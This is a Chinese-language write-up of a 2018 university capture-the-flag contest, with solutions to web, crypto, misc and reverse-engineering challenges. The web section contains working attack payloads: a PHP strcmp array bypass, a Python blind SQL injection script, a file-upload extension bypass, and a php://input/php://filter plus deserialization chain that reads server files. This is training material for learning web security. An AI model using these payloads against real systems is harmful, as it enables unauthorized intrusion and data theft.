2018中原工学院校赛题解

2018-12-29 11:18:55 浏览数 (1)

WEB

签到

http://39.108.109.85:9000 先开始有点懵逼,查看源代码无果(讲道理这个前端写的挺好看),然后看了一下响应头,发现了tips

访问发现一段代码

代码语言:javascript复制
<?php

$flag = "***";
if (isset($_GET['repo'])) {  
    if (strcmp($_GET['repo'], $flag) == 0)
        die('Flag: '.$flag);  
    else  
        print 'No';  
}
?>

这个代码大概就是说需要用repo和flag比较两个字符串是否一样,strcmp()这个函数就是比较两个字符串是否一样,一样返回0。 实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。 这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本php的网站进行渗透测试。 于是我们知道了,repo是一个数组或者一个object即可payload如下: http://39.108.109.85:9000/?repo[]=0 Flag:drops{589c76a724af0a8303862a900f74d5e4}

上官婉儿

http://39.108.109.85:9001 打开发现是个注入,测试一下过滤,发现单引号可以,但是不能and,union等等... 直接贴脚本爆库名

代码语言:javascript复制
import requests

flag = ""
payload = "select group_concat(schema_name) from information_schema.schemata"

for i in range(1, 50):
    for j in "qazxswedcvfrtgbnhyujmkiolp1234567890@,! _":
        url = f"http://39.108.109.85:9001/?id=if(mid(({payload}),{i},1) regexp '{j}',1,2)"
        r = requests.get(url)
        if "Your id is 1" in r.text:
            flag  = j
            break
    print(flag)

最后出来的库名

md5加密一下加上drops{}就好 drops{184b3f811e4e3f2eb9d763cd33dffdf6}

快一点

http://96.45.177.217:7070/ 这个打开看到 Youneedgeta't'然后get一个t上去可以看到源码 http://96.45.177.217:7070/?t

代码语言:javascript复制
<?php
include 'flag.php';
if(isset($_GET['t'])){
    $_COOKIE['bash_token'] = $_GET['t'];
}else{
    die("You need get a 't'");
}
if(isset($_POST['sleep'])){
    if(!is_numeric($_POST['sleep'])){              

        echo 'Gime me a number plz.';
    }else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){   
        echo 'NoNoNo sleep too short.';
    }else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
        echo 'NoNoNo sleep too long.';
    }else{
        sleep((int)$_POST['sleep']);  
        getFlag();
    }
}else{
    highlight_file(__FILE__);
}
?>

这个代码意思是要给sleep一个值,必须按照那个规定,然后sleep那么多秒才给你flag,但是这里有isnumeric()和int() 前者支持普通数字型、科学记数法型、部分支持十六进制0x型,在isnumeric()支持的形式中,int()不能正确转换十六进制型、科学计数法型。 因此可以构造6e6、0x4F1A01。 最后一直没有flag。。。浏览器的锅,换成bp一下就好了

drops{2018_ctf_zhongyuangong_xiaosai}

文件上传

http://96.45.177.217:8080/ 这个题目是一个简单的文件上传,但是肯定不允许php后缀,我们可以绕过一下,我尝试了phtml,php4等等发现都可以传成功,但是没有路径,没法用菜刀 很迷一直。。。知道私聊了一下工作人员,他说这个题只要姿势对了就是没有路径显示,直接出flag,所以又厚脸皮要了hint 直接改文件后缀为 pht就行,flag直接出来了

drops{d0df0djkljsdf122120dsfdsfsf}

admin

http://39.106.148.174:8666/ 查看源代码看到:

代码语言:javascript复制
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

这个大概意思就是必须要 user=admin,还要有你要读取的文件,还有要你的密码 这个题目考察的是php封装协议,这个题目首先要突破的是: if(isset($user)&&(file_get_contents($user,'r')==="admin")) 如何让 file_get_contents($user,'r')==="admin"呢? 答案是用php的封装协议 php://input,因为 php://input可以得到原始的post数据: 首先我们用php伪协议构造admin

看到已经成功成为了admin,绕过第一层,然后我们看到有个class.php,我们用php的另一个封装协议: php://filter 利用这个协议就可以读取任意文件了 利用方法: php://filter/convert.base64-encode/resource=class.php 这里把读取到的class.php的内容转换为base64的格式 下图是我解码完的

代码语言:javascript复制
<?php
error_reporting(0);

class Read{//flag.php
    public $file;
    public function _toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "_toString was called!";
    }
}
?>

此时想构造pass参数获得Read类中的file变量并且观察到有魔术方法想到php反序列化漏洞 这里贴一张构造的图

最后payload: /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./flag.php";}

drops{asfhdi_fj12sh}

CPYTO

你了解我么 http://39.108.109.85/pic.jpg 先开始这个题一直是个盲文表。。。一脸懵逼,后来出题人改了一下题目,打开是一个海伦凯勒 然后对照盲文表

解出来 kmdonowg,题目说了md5加密一下即可得到 drops{8aa5b596bf284a6dd446f9e141b47861}

MISC

先开始图片给错了。。。尝试各种姿势无果,后来新给的图片,binwalk -e 一下就会看到有个2.txt文件,打开发现是个png头,于是修改后缀名为png 可以得到如图一张图片

把上面的字符记下来 qebcf{nfqs25kjps8rjsi8kfqnfp42kizaoip},不过这不是真flag,flag需要drops开头,想到凯撒移位

得到 drops{asdf25xwcf8ewfv8xsdasc42xvmnbvc}

RE

二叉树

https://pan.baidu.com/s/1bJMVA1ZbU0ZlXnnLlcgg 提取码:dfk1 本题主要在于二叉树的构造,得出要选出的节点的红黑值,根据要求进行ASCII码的运算即可得出flag。

打开试题的README.txt文件,可以看到一段base64编码的密文,使用base64解码

得到明文如下:

代码语言:javascript复制
1.这是一棵红黑树
2.树从1-59上的果子依次为 1ek`~3c:ef017b744/b38fd~abm7g5489e2|lo|z8d16haen98}bt-21s.e:
3.依次从树上取走第 18,35,53,50,14,28,19,6,54,36 个果子,过程中保持红黑树性质不变
4.tmpflag为第 8,56,47,37,52,38,17,8,8,29,7,47,40,57,46,24,34,34,57,29,22,5,16,57,24,29,8,12,57,12,12,21,33,34,55,51,22,45,34,31,1,23 个果子
5.flag为 tmpflag 红色果子 ASCII  1 , 黑色果子 ASCII-1
6.让我们愉快的开始获取flag吧

按照规则3对题目给的红黑树进行节点的删除(可以在线生成红黑树)试验一下,按层生成红黑树然后删除相应地节点得到 8,56,47,37,52,38,17,8,8,29,7,47,40,57,46,24,34,34,57,29,22,5,16,57,24,29,8,12,57,12,12,21,33,34,55,51,22,45,34,31,1,23这些节点的红(r表示)黑(b表示)值是 bbrrbbrbbbbrbrbrbbrbrrbrrbbbrbbbrbrrrrbrbb

编写脚本进行输出就可以得到flag

代码语言:javascript复制
int main(){
    string s="1ek`~3c:ef017b744/b38fd~abm7g5489e2|lo|z8d16haen98}bt-21s.e:";
    int n[60]={8,56,47,37,52,38,17,8,8,29,7,47,40,57,46,24,34,34,57,29,22,5,16,57,24,29,8,12,57,12,12,21,33,34,55,51,22,45,34,31,1,23};
    string s1="bbrrbbrbbbbrbrbrbbrbrrbrrbbbrbbbrbrrrrbrbb";
    int i=0;
    while(i<42){
        char t;
        switch(s1[i]){
            case 'r':t=s[n[i]] 1;break;
            case 'b':t=s[n[i]]-1;break;
        }
        cout<<t;
        i  ;
    }

得到flag,把 /替换成 -即可

base

这个题。。。原题,直接贴链接 https://www.52pojie.cn/forum.php?mod=viewthread&tid=813470&extra=page=1&page=1

本次比赛题目有的题真的有点意思(为没做出来的web500打call)菜鸡还得加油鸭

0 人点赞